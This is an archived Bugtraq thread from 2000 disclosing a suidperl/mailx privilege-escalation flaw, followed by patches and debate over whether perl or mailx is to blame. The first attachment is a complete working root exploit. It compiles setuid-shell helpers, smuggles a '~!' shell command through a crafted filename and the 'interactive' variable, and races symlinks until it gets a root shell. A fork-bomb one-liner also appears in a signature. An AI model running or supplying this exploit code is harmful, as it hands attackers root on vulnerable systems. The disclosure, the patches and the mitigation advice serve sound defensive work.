5336326 2000-08-07 09:09 /76 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <12072>
Ärende: sperl 5.00503 (and newer ;) exploit
------------------------------------------------------------
Not much to say (except I feel little bit stupid posting it) ... This
exploit gives instant root, at least on RedHat 6.x/7.0 Linux boxes I
have available for tests... And for sure, all other systems are
vulnerable as well - it's just maybe this code will need some
refining / tuning / minor changes...
Below you'll find brief description of vulnerability and exploit
itself, written by me. Please note - I didn't developed everything by
myself, I get great support from Sebastian Krahmer - see development
history. I still pray he won't get angry on me (probably he will) -
but he should be listed at first any time you're talking about this
vulnerablity (he made me think with his findings :P).
I don't know who should be blamed - perl vendors? /bin/mail vendors
for putting undocumented (at least on manpage) features? Hmm... I
guess it's nobody's fault ;)
Requires: +s perl; bash, gcc, make, usleep (yup, usleep; it's not
available on every system, but I have no time to rewrite everything
in C; you can grab this code from RedHat distro or so) will be
good... Don't mail me if you can't use it - it works.
And now, some reading.
#
# -- PLEASE READ THESE COMMENTS CAREFULLY BEFORE TRYING ANYTHING --
#
# Wonderful, lovely, world-smashing, exciting perl exploit. It works against
# +s suidperl, exploiting undocumented /bin/mail feature when perl wants to
# notify root on inode race conditions. Currently, tested under RH Linux.
#
# What's probably most shocking, buggy code has following comment inside:
# /* heh, heh */. I guess author wasn't laughning last.
#
# Development history of this exploit is really funny. I found this condition
# about 4 months ago, but thought it's useless (who wants to notify root?).
# I deleted my test code and didn't left any notes on it. Then, month after
# this discovery, Sebastian contacted me. He was working on perl exploit.
# He told me he don't know how to cause this condition to happen, but if only
# he realise how it can be done, he'll be able to use undocumented /bin/mail
# feature - environmental variable 'interactive', which, if set, causes
# /bin/mail to interpret ~! commands (subshell requests) even if stdin is not
# on terminal. And then I understood what I've done. I spent next month
# (yes! no kidding!) trying to recall WHAT THE FSCK was the condition. I
# remembered it was trivial, even annoying... And finally, now I'm able to
# reconstruct it.
#
# This exploit tries to fit in rather short, but reasonable time window in
# order to exploit bug. I tested it on fast, not overloaded Linux box, and
# I guess on slow machines it needs tunning. It needs anything setuid
# (/usr/bin/passwd is just fine), writable working directory and something
# around 4 minutes. Working directory should be mounted without noexec or
# nosuid options (if so, find something like /var/lib/svgalib etc).
#
# WARNING: On slow machines, it's quite possible this exploit will cause
# heavy load. Please test it when system is not overloaded and not used
# (eg. at night).
#
# I'd like to thank Sebastian Krahmer for his help (in fact, HE discovered it
# - I think I can say it without shame), and especially thank to several of
# my braincells that survived monitor radiation and made me recall this
# race condition.
#
# Send comments, ideas and flames to <lcamtuf@ids.pl>
# Tested with sperl 5.00503, but should work with any other as well.
#
# Good luck and don't abuse it.
#
_______________________________________________________
Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=
(5336326) ------------------------------------------(Ombruten)
Kommentar i text 5336327 av Brevbäraren (som är implementerad i) Python
Kommentar i text 5336446 av Brevbäraren (som är implementerad i) Python
Kommentar i text 5338816 av Brevbäraren (som är implementerad i) Python
Läsa nästa kommentar.
5336327 2000-08-07 09:09 /151 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <12073>
Kommentar till text 5336326 av Brevbäraren (som är implementerad i) Python
Ärende: Bilaga (xperl.sh) till: sperl 5.00503 (and newer ;) exploit
------------------------------------------------------------
#!/bin/sh
#
# -- PLEASE READ THESE COMMENTS CAREFULLY BEFORE TRYING ANYTHING --
#
# Wonderful, lovely, world-smashing, exciting perl exploit. It works against
# +s suidperl, exploiting undocumented /bin/mail feature when perl wants to
# notify root on inode race conditions. Currently, tested under RH Linux.
#
# What's probably most shocking, buggy code has following comment inside:
# /* heh, heh */. I guess author wasn't laughning last.
#
# Development history of this exploit is really funny. I found this condition
# about 4 months ago, but thought it's useless (who wants to notify root?).
# I deleted my test code and didn't left any notes on it. Then, month after
# this discovery, Sebastian contacted me. He was working on perl exploit.
# He told me he don't know how to cause this condition to happen, but
# if he realise how he can do it, he'll be able to use undocumented /bin/mail
# feature - environmental variable 'interactive', which, if set, causes
# /bin/mail to interpret ~! commands (subshell requests) even if stdin is not
# on terminal. And then I understood what I've done. I spent next month
# (yes! no kidding!) trying to recall what the fsck was the condition. I
# remembered it was trivial, even annoying... And finally, now I'm able to
# reconstruct it.
#
# This exploit tries to fit in rather short, but reasonable time window in
# order to exploit it. I tested it on fast, not overloaded Linux box, and
# I guess on slow machines it needs tunning. It needs anything setuid
# (/usr/bin/passwd is just fine), writable working directory and something
# around 4 minutes. Working directory should be mounted without noexec or
# nosuid options (if so, find something like /var/lib/svgalib etc).
#
# WARNING: On slow machines, it's quite possible this exploit will cause
# heavy load. Please test it when system is not overloaded and not used
# (eg. at night).
#
#
# I'd like to thank Sebastian Krahmer for his help (in fact, HE discovered it
# - I think I can say it without shame), and especially thank to several of
# my braincells that survived monitor radiation and made me recall this
# race condition.
#
# Send comments, ideas and flames to <lcamtuf@ids.pl>
# Tested with sperl 5.00503, but should work with any other as well.
#
# Good luck and don't abuse it.
#
clear
echo "Suidperl 5.00503 (and newer) root exploit"
echo "-----------------------------------------"
echo "Written by Michal Zalewski <lcamtuf@dione.ids.pl>"
echo "With great respect to Sebastian Krahmer..."
echo
SUIDPERL=/usr/bin/suidperl
SUIDBIN=/usr/bin/passwd
echo "[*] Using suidperl=$SUIDPERL, suidbin=$SUIDBIN..."
if [ ! -u $SUIDPERL ]; then
echo "[-] Sorry, $SUIDPERL4 is NOT setuid on this system or"
echo " does not exist at all. If there's +s perl binary available,"
echo " please change SUIDPERL variable within exploit code."
echo
exit 0
fi
if [ ! -u $SUIDBIN ]; then
echo "[-] Sorry, $SUIDBIN is NOT setuid on this system or does not exist at"
echo " all. Please pick any other +s binary and change SUIDBIN variable"
echo " within exploit code."
echo
exit 0
fi
echo "[+] Checks passed, compiling flares and helper applications..."
echo
cat >flare <<__eof__
#!/usr/bin/suidperl
print "Nothing can stop me now...\n";
__eof__
cat >bighole.c <<__eof__
main() {
setuid(0);
setgid(0);
chown("sush",0,0);
chmod("sush",04755);
}
__eof__
cat >sush.c <<__eof__
main() {
setuid(0);
setgid(0);
system("/bin/bash");
}
__eof__
make bighole sush
echo
if [ ! -x ./sush ]; then
echo "[-] Oops, seems to me I cannot compile helper applications. Either"
echo " you don't have working 'make' or 'gcc' utility. If possible,"
echo " please compile bighole.c and sush.c manually (to bighole and sush)."
echo
exit 0
fi
echo "[+] Setting up environment..."
chmod 4755 ./flare
FILENAME='none
~!bighole
'
export interactive=1
PATH=.:$PATH
echo "[+] Starting exploit. It could take up to 5 minutes in order to
get" echo "[+] working root shell. WARNING - WARNING - WARNING: it
could cause" echo "[+] heavy system load."
while :; do
( ln -f -s $SUIDBIN "$FILENAME";usleep $RANDOM; nice -n +20 $SUIDPERL ./"$FILENAME" <./flare & ) &>/dev/null &
( usleep $RANDOM ; ln -f -s /dev/stdin "$FILENAME" ) &>/dev/null &
if [ -u ./sush ]; then
echo
echo "[+] VOILA, BABE :-) Entering rootshell..."
echo
rm -f "$FILENAME" sush.c bighole bighole.c flare
./sush
echo
echo "[+] Thank you for using Marchew Industries / dupa.ryba products."
echo
rm -f "$FILENAME" sush.c bighole bighole.c flare sush
exit 0
fi
done
(5336327) ------------------------------------------(Ombruten)
Läsa nästa kommentar.
5336446 2000-08-07 09:58 /46 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <12080>
Kommentar till text 5336326 av Brevbäraren (som är implementerad i) Python
Ärende: Re: sperl 5.00503 (and newer ;) exploit
------------------------------------------------------------
From: Michal Zalewski <lcamtuf@DIONE.IDS.PL>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <Pine.LNX.4.21.0008051913570.26685-100000@dione.ids.pl>
On Sat, 5 Aug 2000, Michal Zalewski wrote:
> Below you'll find brief description of vulnerability and exploit itself
> [..]
Ok, I decided to describe it with details.
a) If you'll try to fool perl, forcing it to execute one file instead
of another (quite complicated condition, refer to source code), it
generates such mail to administrator:
From: Bastard Operator <root@nimue.tpi.pl>
To: root@nimue.tpi.pl
User 500 tried to run dev 769 ino 343180 in place of dev 769 ino
343183! (Filename of set-id script was /some/thing, uid 500 gid
500.)
Sincerely,
perl
It is sent using /bin/mail root call with environment preserved.
This condition is quite easy to reach - my code is extermely ugly
and slow (it's written in bash), so it requires reasonably fast
machine (like pII/pIII x86 box). It can be optimized, of course.
b) In this mail, you'll find script name, taken from argv[1].
c) /bin/mail has undocumented feature; if interactive=something, it will
interpret ~! sequence even if not running on the terminal; it is not
safe to use /bin/mail at privledged level.
Three things, combined, allows you to execute command using ~! passed
in script name. This command creates suid shell.
Voila, again.
_______________________________________________________
Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=
(5336446) ------------------------------------------(Ombruten)
Kommentar i text 5338786 av Brevbäraren (som är implementerad i) Python
Kommentar i text 5338819 av Brevbäraren (som är implementerad i) Python
Kommentar i text 5340059 av Brevbäraren (som är implementerad i) Python
Läsa nästa kommentar.
5338786 2000-08-07 19:53 /29 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <12086>
Kommentar till text 5336446 av Brevbäraren (som är implementerad i) Python
Ärende: Re: sperl 5.00503 (and newer ;) exploit
------------------------------------------------------------
From: Olaf Kirch <okir@CALDERA.DE>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <20000807123536.A9156@monad.swb.de>
On Sat, Aug 05, 2000 at 07:19:36PM +0200, Michal Zalewski wrote:
> c) /bin/mail has undocumented feature; if interactive=something, it will
> interpret ~! sequence even if not running on the terminal;
Well, some "unfortunate" features come back again and again. I recall
INN's control scripts used to have a similar problem, three years ago.
I'm sort of torn between whether to blame sperl for using mail rather
than syslog, or for doing so without cleaning up the environment.
Apart from the ~! expansion problem, there seems to be at least
another one lurking which is that it'll try to load ~/.mailrc, and
~ is replaced with the value of $HOME.
Any setuid root program that does an exec() somewhere is just a less
user friendly version of su. I have a wonderful proof of this claim,
but unfortunately the margin is too small to hold it :-)
Olaf
--
Olaf Kirch | --- o --- Nous sommes du soleil we love when we play
okir@monad.swb.de | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax
okir@caldera.de +-------------------- Why Not?! -----------------------
UNIX, n.: Spanish manufacturer of fire extinguishers.
(5338786) ------------------------------------------
Kommentar i text 5339960 av Brevbäraren (som är implementerad i) Python
Läsa nästa kommentar.
5339960 2000-08-08 08:00 /32 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <12100>
Kommentar till text 5338786 av Brevbäraren (som är implementerad i) Python
Ärende: Re: sperl 5.00503 (and newer ;) exploit
------------------------------------------------------------
From: Joey Hess <joey@KITENET.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <20000807153852.W19216@kitenet.net>
Olaf Kirch wrote:
> I'm sort of torn between whether to blame sperl for using mail rather
> than syslog, or for doing so without cleaning up the environment.
> Apart from the ~! expansion problem, there seems to be at least
> another one lurking which is that it'll try to load ~/.mailrc, and
> ~ is replaced with the value of $HOME.
... and you just have to set interactive in .mailrc. This works around
the patches I've seen for mailx that stop it from looking at the
environment for that variable.
Another fun one that doesn't require interactive be set at all is:
joey@kite:~>echo hi > foo
joey@kite:~>echo "please don't kill me" > important
joey@kite:~>record=/home/joey/important mail joey < foo
You have new mail.
joey@kite:~>cat important
please don't kill me
From joey Mon Aug 7 15:25:07 2000
To: joey
hi
--
see shy jo
(5339960) ------------------------------------------
Läsa nästa kommentar.
5338819 2000-08-07 20:05 /42 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <12091>
Kommentar till text 5336446 av Brevbäraren (som är implementerad i) Python
Ärende: Re: sperl 5.00503 (and newer ;) exploit
------------------------------------------------------------
From: Pixel <pixel@MANDRAKESOFT.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <lyk8dt2m80.fsf@leia.mandrakesoft.com>
Michal Zalewski <lcamtuf@DIONE.IDS.PL> writes:
[...]
> c) /bin/mail has undocumented feature; if interactive=something, it will
> interpret ~! sequence even if not running on the terminal; it is not
here is a patch for mailx that will disable this feature, and so make
sperl `safe'
--------------------------------------------------------------------------------
--- mailx-8.1.1/collect.c~ Mon Aug 7 15:17:13 2000
+++ mailx-8.1.1/collect.c Mon Aug 7 15:55:48 2000
@@ -226,8 +226,13 @@
* Shell escape, send the balance of the
* line to sh -c.
*/
- shell(&linebuf[2]);
- break;
+ /*
+ * HACK: only accept shell commands if "interactive" is set,
+ * and not set via environment variables (otherwise, nice
+ * stuff for security exploits!)
+ */
+ if (lookup("interactive")) shell(&linebuf[2]);
+ break;
case ':':
case '_':
/*
--------------------------------------------------------------------------------
cu Pixel.
PS: be carefull if you want to patch perl to remove any `~!' in the
filename, the escape character can be changed in mailx...
(5338819) ------------------------------------------(Ombruten)
Läsa nästa kommentar.
5340059 2000-08-08 08:51 /20 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <12106>
Kommentar till text 5336446 av Brevbäraren (som är implementerad i) Python
Ärende: Re: sperl 5.00503 (and newer ;) exploit
------------------------------------------------------------
Regarding the suidperl / mailx security problem, here are
two patches which closes the hole in perl and in mailx.
The perl bug is closed by using syslog rather than /bin/mail
The mailx patch (against 8.1.1 + redhat/debian patches) does
the following :
- Do not lookup options in the environment.
- Do not read rc files when running with uid != euid
- Unset interactive when sending mail with uid != euid
or when stdin is not a tty.
--
Francis J. Lacoste iNsu Innovations Inc.
CTA Tél.: (514) 336-5544
francis.lacoste@iNsu.COM Fax.: (514) 336-8128
(5340059) ------------------------------------------
Kommentar i text 5340061 av Brevbäraren (som är implementerad i) Python
Kommentar i text 5340062 av Brevbäraren (som är implementerad i) Python
Kommentar i text 5347678 av Brevbäraren (som är implementerad i) Python
Läsa nästa kommentar.
5340061 2000-08-08 08:51 /38 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <12107>
Kommentar till text 5340059 av Brevbäraren (som är implementerad i) Python
Ärende: Bilaga (perl-5.00503-syslog.patch) till: Re: sperl 5.00503 (and newer ;) exploit
------------------------------------------------------------
--- perl5.005_03/perl.c.dont-try-to-be-clever Mon Aug 7 09:46:06 2000
+++ perl5.005_03/perl.c Mon Aug 7 09:52:27 2000
@@ -20,6 +20,9 @@
#include <unistd.h>
#endif
+/* Use syslog rather than /bin/mail to notify of tricky perl behavior */
+#include <syslog.h>
+
#if !defined(STANDARD_C) && !defined(HAS_GETENV_PROTOTYPE)
char *getenv _((char *)); /* Usually in <stdlib.h> */
#endif
@@ -2220,16 +2223,17 @@
if (tmpstatbuf.st_dev != PL_statbuf.st_dev ||
tmpstatbuf.st_ino != PL_statbuf.st_ino) {
(void)PerlIO_close(PL_rsfp);
- if (PL_rsfp = PerlProc_popen("/bin/mail root","w")) { /* heh, heh */
- PerlIO_printf(PL_rsfp,
-"User %ld tried to run dev %ld ino %ld in place of dev %ld ino
%ld!\n\
-(Filename of set-id script was %s, uid %ld gid
%ld.)\n\nSincerely,\nperl\n",
+ openlog( "suidperl", LOG_NDELAY|LOG_PID, LOG_AUTHPRIV);
+ syslog( LOG_ALERT,
+ "User %ld tried to run dev %ld ino %ld in"
+ " place of dev %ld ino %ld!\n"
+ "(Filename of set-id script was %s, uid %ld "
+ "gid %ld.)\n\nSincerely,\nperl\n",
(long)PL_uid,(long)tmpstatbuf.st_dev, (long)tmpstatbuf.st_ino,
(long)PL_statbuf.st_dev, (long)PL_statbuf.st_ino,
SvPVX(GvSV(PL_curcop->cop_filegv)),
(long)PL_statbuf.st_uid, (long)PL_statbuf.st_gid);
- (void)PerlProc_pclose(PL_rsfp);
- }
+ closelog();
croak("Permission denied\n");
}
if (
(5340061) ------------------------------------------(Ombruten)
Läsa nästa kommentar.
5340062 2000-08-08 08:51 /61 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <12108>
Kommentar till text 5340059 av Brevbäraren (som är implementerad i) Python
Ärende: Bilaga (mailx-8.1.1.setuid.patch) till: Re: sperl 5.00503 (and newer ;) exploit
------------------------------------------------------------
--- mailx-8.1.1/main.c.setuid Mon Aug 7 14:27:56 2000
+++ mailx-8.1.1/main.c Mon Aug 7 14:33:12 2000
@@ -233,14 +233,30 @@
input = stdin;
rcvmode = !to;
spreserve();
- if (!nosrc)
- load(_PATH_MASTER_RC);
- /*
- * Expand returns a savestr, but load only uses the file name
- * for fopen, so it's safe to do this.
- */
- load(expand("~/.mailrc"));
+
+ /* Only load command file if we are not running setuid
+ - From under a setuid program or something */
+ if ( getuid() == geteuid() ) {
+ if (!nosrc)
+ load(_PATH_MASTER_RC);
+ /*
+ * Expand returns a savestr, but load only uses the file name
+ * for fopen, so it's safe to do this.
+ */
+ load(expand("~/.mailrc"));
+ }
+
if (!rcvmode) {
+ /* In send mode, turn off interactive if
+ we are setuid or not running from
+ a terminal */
+ if ( value( "interactive" ) != NOSTR &&
+ ( getuid() != geteuid() || !isatty(0)) )
+ {
+ char *interactive[] = { "interactive", NULL };
+ unset( interactive );
+ }
+
mail(to, cc, bcc, smopts, subject);
/*
* why wait?
--- mailx-8.1.1/vars.c.setuid Mon Aug 7 14:28:00 2000
+++ mailx-8.1.1/vars.c Mon Aug 7 14:28:15 2000
@@ -110,7 +110,6 @@
/*
* Get the value of a variable and return it.
- * Look in the environment if its not available locally.
*/
char *
@@ -120,7 +119,7 @@
register struct var *vp;
if ((vp = lookup(name)) == NOVAR)
- return(getenv(name));
+ return NULL;
return(vp->v_value);
}
(5340062) ------------------------------------------
Läsa nästa kommentar.
5347678 2000-08-09 21:36 /52 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <12138>
Kommentar till text 5340059 av Brevbäraren (som är implementerad i) Python
Ärende: Re: sperl 5.00503 (and newer ;) exploit
------------------------------------------------------------
From: "Greg A. Woods" <woods@WEIRD.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <20000808182703.2E96787@proven.weird.com>
[ On Monday, August 7, 2000 at 14:58:08 (-0400), Francis J. Lacoste wrote: ]
> Subject: Re: sperl 5.00503 (and newer ;) exploit
>
>
> Regarding the suidperl / mailx security problem, here are
> two patches which closes the hole in perl and in mailx.
>
> The perl bug is closed by using syslog rather than /bin/mail
>
> The mailx patch (against 8.1.1 + redhat/debian patches) does
> the following :
>
> - Do not lookup options in the environment.
> - Do not read rc files when running with uid != euid
> - Unset interactive when sending mail with uid != euid
> or when stdin is not a tty.
I've been rather dismayed by the number of people posting patches
which claim to "fix" mailx, aka BSD Mail. One could contend that
it's not even broken in the first place!
This mail user agent, like almost all others except perhaps the
original V7 /bin/mail (which is the only version of '/bin/mail' Perl
was no doubt expecting to use!), was never really designed to be used
safely by root, either for sending or reading e-mail, and it most
certainly was not designed to be used for sending e-mail safely from
a privileged application! Now I've probably been guilty of doing all
of the above at one time or another, but that doesn't mean it is safe
to do!
While patches such as these which have been proposed address the
currently discovered "features", those of us who remember playing with
restricted shells on commercial Unixes in days gone by will also know
that this is probably far from the only way a privileged application
could be fooled into giving away its privileges should it be foolish
enough to call upon something like mailx.
While the ultimate error may be in the fallacy of having a setuid
script interpreter, the mistake in this particular instance falls
upon the linux vendors who chose to offer a /bin/mail that radically
changed the assumptions an application like perl could be safe in
making.
--
Greg A. Woods
+1 416 218-0098 VE3TCP <gwoods@acm.org> <robohack!woods>
Planix, Inc. <woods@planix.com>; Secrets of the Weird <woods@weird.com>
(5347678) ------------------------------------------(Ombruten)
Kommentar i text 5350937 av Brevbäraren (som är implementerad i) Python
Läsa nästa kommentar.
5350937 2000-08-10 23:42 /30 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <12171>
Kommentar till text 5347678 av Brevbäraren (som är implementerad i) Python
Ärende: Re: sperl 5.00503 (and newer ;) exploit
------------------------------------------------------------
From: Thomas Roessler <roessler@DOES-NOT-EXIST.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <20000810093306.E16172@sobolev.does-not-exist.org>
On 2000-08-08 14:27:03 -0400, Greg A. Woods wrote:
> I've been rather dismayed by the number of people posting patches
> which claim to "fix" mailx, aka BSD Mail. One could contend that
> it's not even broken in the first place!
Indeed.
The fact that input to mailx (or to mailx mimicking /bin/mail)
should be sanitized can be assumed to be well-known since - at
least! - the days of CNews, which has some code to that avail in the
scripts sending mail messages to administrators. Failure to do so
is plainly the fault of the calling application, and should not be
taken as a reason for removing traditional and well-established
behaviour.
Just as well, the fact that the environment should be sanitized in a
white-list approach before calling external programs from programs
running setuid (and passing privileges to these external programs!)
has been well-known for ages. Not following this guideline is
plainly the fault of the calling application.
--
Thomas Roessler <roessler@does-not-exist.org>
(5350937) ------------------------------------------
Kommentar i text 5354282 av Brevbäraren (som är implementerad i) Python
Läsa nästa kommentar.
5354282 2000-08-12 05:48 /39 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <12189>
Kommentar till text 5350937 av Brevbäraren (som är implementerad i) Python
Ärende: Re: sperl 5.00503 (and newer ;) exploit
------------------------------------------------------------
From: "H. Peter Anvin" <hpa@TRANSMETA.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <3993201C.61F45F68@transmeta.com>
Thomas Roessler wrote:
>
> On 2000-08-08 14:27:03 -0400, Greg A. Woods wrote:
>
> > I've been rather dismayed by the number of people posting patches
> > which claim to "fix" mailx, aka BSD Mail. One could contend that
> > it's not even broken in the first place!
>
> Indeed.
>
> The fact that input to mailx (or to mailx mimicking /bin/mail)
> should be sanitized can be assumed to be well-known since - at
> least! - the days of CNews, which has some code to that avail in the
> scripts sending mail messages to administrators. Failure to do so
> is plainly the fault of the calling application, and should not be
> taken as a reason for removing traditional and well-established
> behaviour.
>
> Just as well, the fact that the environment should be sanitized in a
> white-list approach before calling external programs from programs
> running setuid (and passing privileges to these external programs!)
> has been well-known for ages. Not following this guideline is
> plainly the fault of the calling application.
>
For what it's worth, these kinds of issues with /bin/mail is part of
why the draft Linux Standards Base (LSB) specification specifies a
subset of the /usr/sbin/sendmail CLI (which doesn't mean it actually
has to be Sendmail!) as the only recognized injection point for mail.
-hpa
--
<hpa@transmeta.com> at work, <hpa@zytor.com> in private!
"Unix gives you enough rope to shoot yourself in the foot."
http://www.zytor.com/~hpa/puzzle.txt
(5354282) ------------------------------------------(Ombruten)
Läsa nästa kommentar.
5338816 2000-08-07 20:03 /130 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <12089>
Kommentar till text 5336326 av Brevbäraren (som är implementerad i) Python
Ärende: Re: sperl 5.00503 (and newer ;) exploit
------------------------------------------------------------
> I don't know who should be blamed - perl vendors? /bin/mail vendors for
> putting undocumented (at least on manpage) features? Hmm... I guess it's
> nobody's fault ;)
I would respectfully submit the opinion that it's the fault of sperl
for trusting an application outside the boundries of its control,
especially one that, AFAIK, does not claim to be "safe" for setuid
operation.
The offending code begins on 2223 of perl.c. The attached patch cuts
out the offending code. One might attempt to push this to syslog --
that being a system call, and thus theoretically trustable by root --
but I'm not going to. This patch will cause the perl script to die
with "Permission denied" -- and should only be considered a temporary
fix, until the perl-guru type people update their code. I don't
consider that much of a loss, personally -- I don't care that much if
I get notified if this nonsense happens.
Some people might say "Yea, but you don't get notified now." Again,
I don't really care. I just want to get the hole closed up at this
point, while I wait for a more permenant, correct patch from people
wiser than me. I don't know what _all_ the ramifications of using
syslog/direct log file/etc instead of /bin/mail will be, so I'm not
going to even go there. If you disagree, add the syslog code, or
come up with your own solution. It shouldn't be too hard to put in.
This patch did pass all regression tests provided with the 5.005-03
perl distribution, and is applied against that branch. Assuming 5.6
is vulnerable, tracking down the offending code should be as simple
as grepping for '/bin/mail' in the sources.
In so far as the exploit goes, once I applied this patch, it
eventually quit on some machines, and on others, seemed to run
forever without giving me a shell. I'll take that for a confirmation
that the problem is solved.
Thanks,
Kyle Sparger - Senior System Administrator
Dialtone Internet - Extremely Fast Web Systems
(954) 581-0097 - Voice (954) 581-7629 - Fax
ksparger@dialtoneinternet.net
http://www.dialtoneinternet.net
PS: As an aside, this patch is suitable for dropping straight into
the RH perl SRPM for 6.2; just modify the specfile to include it.
On Sat, 5 Aug 2000, Michal Zalewski wrote:
>
> Not much to say (except I feel little bit stupid posting it) ... This
> exploit gives instant root, at least on RedHat 6.x/7.0 Linux boxes I have
> available for tests... And for sure, all other systems are vulnerable as
> well - it's just maybe this code will need some refining / tuning /
> minor changes...
>
> Below you'll find brief description of vulnerability and exploit itself,
> written by me. Please note - I didn't developed everything by myself, I
> get great support from Sebastian Krahmer - see development history. I
> still pray he won't get angry on me (probably he will) - but he should be
> listed at first any time you're talking about this vulnerablity (he made
> me think with his findings :P).
>
> I don't know who should be blamed - perl vendors? /bin/mail vendors for
> putting undocumented (at least on manpage) features? Hmm... I guess it's
> nobody's fault ;)
>
> Requires: +s perl; bash, gcc, make, usleep (yup, usleep; it's not
> available on every system, but I have no time to rewrite everything in C;
> you can grab this code from RedHat distro or so) will be good... Don't
> mail me if you can't use it - it works.
>
> And now, some reading.
>
> #
> # -- PLEASE READ THESE COMMENTS CAREFULLY BEFORE TRYING ANYTHING --
> #
> # Wonderful, lovely, world-smashing, exciting perl exploit. It works against
> # +s suidperl, exploiting undocumented /bin/mail feature when perl wants to
> # notify root on inode race conditions. Currently, tested under RH Linux.
> #
> # What's probably most shocking, buggy code has following comment inside:
> # /* heh, heh */. I guess author wasn't laughning last.
> #
> # Development history of this exploit is really funny. I found this condition
> # about 4 months ago, but thought it's useless (who wants to notify root?).
> # I deleted my test code and didn't left any notes on it. Then, month after
> # this discovery, Sebastian contacted me. He was working on perl exploit.
> # He told me he don't know how to cause this condition to happen, but if only
> # he realise how it can be done, he'll be able to use undocumented /bin/mail
> # feature - environmental variable 'interactive', which, if set, causes
> # /bin/mail to interpret ~! commands (subshell requests) even if stdin is not
> # on terminal. And then I understood what I've done. I spent next month
> # (yes! no kidding!) trying to recall WHAT THE FSCK was the condition. I
> # remembered it was trivial, even annoying... And finally, now I'm able to
> # reconstruct it.
> #
> # This exploit tries to fit in rather short, but reasonable time window in
> # order to exploit bug. I tested it on fast, not overloaded Linux box, and
> # I guess on slow machines it needs tunning. It needs anything setuid
> # (/usr/bin/passwd is just fine), writable working directory and something
> # around 4 minutes. Working directory should be mounted without noexec or
> # nosuid options (if so, find something like /var/lib/svgalib etc).
> #
> # WARNING: On slow machines, it's quite possible this exploit will cause
> # heavy load. Please test it when system is not overloaded and not used
> # (eg. at night).
> #
> # I'd like to thank Sebastian Krahmer for his help (in fact, HE discovered it
> # - I think I can say it without shame), and especially thank to several of
> # my braincells that survived monitor radiation and made me recall this
> # race condition.
> #
> # Send comments, ideas and flames to <lcamtuf@ids.pl>
> # Tested with sperl 5.00503, but should work with any other as well.
> #
> # Good luck and don't abuse it.
> #
>
> _______________________________________________________
> Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
> [http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
> =-----=> God is real, unless declared integer. <=-----=
>
(5338816) ------------------------------------------(Ombruten)
Kommentar i text 5338817 av Brevbäraren (som är implementerad i) Python
Kommentar i text 5340597 av Niels Möller ()
Läsa nästa kommentar.
5338817 2000-08-07 20:03 /20 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <12090>
Kommentar till text 5338816 av Brevbäraren (som är implementerad i) Python
Ärende: Bilaga (perl5.005_03-mail.patch) till: Re: sperl 5.00503 (and newer ;) exploit
------------------------------------------------------------
--- perl5.005_03/perl.c Sat Mar 27 12:49:17 1999
+++ perl5.005_03/perl.c.fixed-mail Mon Aug 7 08:35:00 2000
@@ -2220,16 +2220,6 @@
if (tmpstatbuf.st_dev != PL_statbuf.st_dev ||
tmpstatbuf.st_ino != PL_statbuf.st_ino) {
(void)PerlIO_close(PL_rsfp);
- if (PL_rsfp = PerlProc_popen("/bin/mail root","w")) { /* heh, heh */
- PerlIO_printf(PL_rsfp,
-"User %ld tried to run dev %ld ino %ld in place of dev %ld ino
%ld!\n\
-(Filename of set-id script was %s, uid %ld gid
%ld.)\n\nSincerely,\nperl\n",
- (long)PL_uid,(long)tmpstatbuf.st_dev, (long)tmpstatbuf.st_ino,
- (long)PL_statbuf.st_dev, (long)PL_statbuf.st_ino,
- SvPVX(GvSV(PL_curcop->cop_filegv)),
- (long)PL_statbuf.st_uid, (long)PL_statbuf.st_gid);
- (void)PerlProc_pclose(PL_rsfp);
- }
croak("Permission denied\n");
}
if (
(5338817) ------------------------------------------(Ombruten)
5338684 2000-08-07 19:14 /170 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <12083>
Ärende: Re: sperl 5.00503 (and newer ;) exploit
------------------------------------------------------------
From: Paul Rogers <paul.rogers@MIS-CDS.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <A5EDA791B1C8D3119F8D006008CEC98F0B077C@itchy.miseurope.co.uk>
Hi,
Sorry for the cross-post - I think this is relevant.
I have tested this on several test systems all running Perl 5.00503:
i) Mandrake 6.0 kernel 2.2.16 (P2 350 - 64Mb RAM) & RedHat 6.0 kernel
2.2.16 (P3 450 - 128Mb RAM) : Both return a rootshell almost
instantaneously.
ii) RedHat 6.2 kernel 2.2.16 (P2 266 - 64Mb RAM) with OpenWall patches and
many other security modifications - now running for over 2 hours and still
no rootshell - load average of around 10.5 but the system is still usable.
A solution? If you don't use perl, delete the suidperl binary
typically found in /usr/bin. If you do use perl, chmod -s suidperl
